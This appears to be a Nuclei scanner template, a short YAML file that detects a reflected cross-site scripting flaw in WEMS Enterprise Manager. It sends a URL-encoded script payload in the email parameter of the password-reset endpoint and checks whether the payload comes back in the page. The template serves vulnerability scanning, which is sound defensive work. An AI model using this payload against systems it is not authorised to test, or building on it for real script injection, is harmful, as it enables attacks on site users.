nuclei-templates/vulnerabilities/other/wems-manager-xss.yaml

29 lines
898 B
YAML

id: wems-manager-xss
info:
name: WEMS Enterprise Manager XSS
author: pikpikcu
severity: medium
description: A vulnerability in WEMS Enterprise Manager allows remote attackers to inject arbitrary Javascript into the response return by the server by sending it to the '/guest/users/forgotten' endpoint and the
'email' parameter.
reference:
- https://packetstormsecurity.com/files/155777/WEMS-Enterprise-Manager-2.58-Cross-Site-Scripting.html
tags: xss
requests:
- method: GET
path:
- '{{BaseURL}}/guest/users/forgotten?email=%22%3E%3Cscript%3Econfirm(document.domain)%3C/script%3E'
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- '"><script>confirm(document.domain)</script>'
part: body
- type: word
words:
- "text/html"
part: header